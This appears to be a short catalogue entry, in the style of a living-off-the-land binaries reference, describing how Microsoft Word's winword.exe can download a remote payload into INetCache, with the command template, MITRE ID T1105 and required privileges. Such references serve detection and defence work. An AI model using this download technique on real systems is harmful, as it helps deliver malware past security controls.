Winword.exe

Microsoft Office binary

Download

It will download a remote payload and place it in INetCache.

winword.exe {REMOTEURL}

Downloads payload from remote server — MITRE: T1105 — Privileges: User